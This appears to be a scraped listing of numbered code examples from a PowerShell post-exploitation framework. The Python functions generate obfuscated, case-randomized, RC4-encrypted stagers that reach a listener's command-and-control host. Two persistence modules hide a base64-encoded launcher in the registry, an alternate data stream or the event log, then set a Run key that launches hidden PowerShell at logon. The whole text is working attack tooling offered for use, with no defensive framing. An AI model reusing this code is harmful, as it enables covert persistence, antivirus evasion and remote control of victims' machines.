            stager = helpers.keyword_obfuscation(stager)
            self.lock.release()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(':')[0]
                    headerValue = header.split(':')[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace(
                    "$customHeaders = \"\";",
                    "$customHeaders = \"" + headers + "\";")

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''
            stagingKey = stagingKey.encode('UTF-8')

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(
                    self.mainMenu.installPath,
                    randomizedStager,
                    obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager.encode('UTF-8'))
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
                ))
Ejemplo n.º 22
0
    def generate(self):
        
        listenerName = self.options['Listener']['Value']

        # trigger options
        keyName = self.options['KeyName']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']
        adsPath = self.options['ADSPath']['Value']
        eventLogID = self.options['EventLogID']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        statusMsg = ""
        locationString = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if adsPath != '':
                if ".txt" not in adsPath:
                    print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
                    return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
            else:
                #remove the script stored in the registry at the specified reg path
                path = "\\".join(regPath.split("\\")[0:-1])
                name = regPath.split("\\")[-1]

                script = "$RegPath = '"+regPath+"';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";"
            script += "'Registry Persistence removed.'"

            return script

        if extFile != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            # if an external file isn't specified, use a listener
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                
                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName


        if adsPath != '':
            # store the script in the specified alternate data stream location
            
            if adsPath != '':
                if ".txt" not in adsPath:
                    print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
                    return ""
            
            	script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"

            	locationString = "$(cmd /c \''more < "+adsPath+"\'')"
		
        elif eventLogID != '':
            # store the script in the event log under the specified ID
            # credit to @subtee
            #   https://gist.github.com/subTee/949fdf0f141546f24978

            # sanity check to make sure we haven't exceeded the 31389 byte max
            if len(encScript) > 31389:
                print helpers.color("[!] Warning: encoded script exceeds 31389 byte max.")
                return ""

            statusMsg += " stored in Application event log under EventID " + eventLogID + "."

            # command to write out the encoded script to the specified eventlog ID
            script = "Write-EventLog -logname Application -source WSH -eventID "+eventLogID+" -entrytype Information -message 'Debug' -category 1 -rawdata \"" + encScript + "\".ToCharArray();"

            # command to decode the binary data from the event log location
            locationString = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq "+eventLogID+"}))[0].data))"

        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            statusMsg += " stored in " + regPath + "."

            script = "$RegPath = '"+regPath+"';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"

            # note where the script is stored
            locationString = "$((gp "+path+" "+name+")."+name+")"


        # set the run key to extract the encoded script from the specified location
        #   and start powershell.exe in the background with the encoded command
        script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';"

        script += "'Registry persistence established "+statusMsg+"'"

        return script
Ejemplo n.º 23
0
    def generate(self):
        
        listenerName = self.options['Listener']['Value']

        # trigger options
        keyName = self.options['KeyName']['Value']

        # storage options
        regPath = self.options['RegPath']['Value']
        adsPath = self.options['ADSPath']['Value']

        # management options
        extFile = self.options['ExtFile']['Value']
        cleanup = self.options['Cleanup']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
	

        statusMsg = ""
        locationString = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == 'true':
            if adsPath != '':
                # remove the ADS storage location
                if ".txt" not in adsPath:
                    print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
                    return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(regPath.split("\\")[0:-1])
                name = regPath.split("\\")[-1]
                script = "$RegPath = '"+regPath+"';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";"
            script += "'Registry persistence removed.'"

            return script

        if extFile != '':
            # read in an external file as the payload and build a 
            #   base64 encoded version as encScript
            if os.path.exists(extFile):
                f = open(extFile, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                encScript = helpers.enc_powershell(fileData)
                statusMsg += "using external file " + extFile

            else:
                print helpers.color("[!] File does not exist: " + extFile)
                return ""

        else:
            # if an external file isn't specified, use a listener
            if not self.mainMenu.listeners.is_listener_valid(listenerName):
                # not a valid listener, return nothing for the script
                print helpers.color("[!] Invalid listener: " + listenerName)
                return ""

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                
                encScript = launcher.split(" ")[-1]
                statusMsg += "using listener " + listenerName

            # store the script in the specified alternate data stream location
        if adsPath != '':
                if ".txt" not in adsPath:
                    print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
                    return ""
            
            	script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"

            	locationString = "$(cmd /c \''more < "+adsPath+"\'')"
        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(regPath.split("\\")[0:-1])
            name = regPath.split("\\")[-1]

            statusMsg += " stored in " + regPath + "."
            script = "$RegPath = '"+regPath+"';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"

            # note where the script is stored
            locationString = "$((gp "+path+" "+name+")."+name+")"


        script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';"

        script += "'Registry persistence established "+statusMsg+"'"

        return script
Ejemplo n.º 24
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color('[!] listeners/http generate_stager(): no language specified!')
            return None


        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        launcher = listenerOptions['Launcher']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        killDate = listenerOptions['KillDate']['Value']
        host = listenerOptions['Host']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            #Patch in custom Headers
            if customHeaders != []:
                headers = ','.join(customHeaders)
                stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";")

            #patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            #Patch in the killdate, if any
            if killDate != "":
                stager = stager.replace('REPLACE_KILLDATE', killDate)

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        elif language.lower() == 'python':
            # read in the stager base
            f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)

            if host.endswith("/"):
                host = host[0:-1]

            if workingHours != "":
                stager = stager.replace('SET_WORKINGHOURS', workingHours)

            if killDate != "":
                stager = stager.replace('SET_KILLDATE', killDate)

            # # patch the server and key information
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("REPLACE_PROFILE", profile)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # # base64 encode the stager and return it
            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
Ejemplo n.º 25
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        obfuscate=False,
                        obfuscationCommand="",
                        language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color(
                '[!] listeners/http generate_stager(): no language specified!')
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        launcher = listenerOptions['Launcher']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        host = listenerOptions['Host']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            #Patch in custom Headers
            if customHeaders != []:
                headers = ','.join(customHeaders)
                stager = stager.replace(
                    "$customHeaders = \"\";",
                    "$customHeaders = \"" + headers + "\";")

            #patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(
                    randomizedStager, obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        elif language.lower() == 'python':
            # read in the stager base
            f = open("%s/data/agent/stagers/http.py" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)

            if host.endswith("/"):
                host = host[0:-1]

            # # patch the server and key information
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("REPLACE_PROFILE", profile)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # # base64 encode the stager and return it
            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print helpers.color(
                "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
            )
Ejemplo n.º 26
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print helpers.color('[!] listeners/http_com generate_stager(): no language specified!')
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            #Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(':')[0]
                    headerValue = header.split(':')[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";")

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            #patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")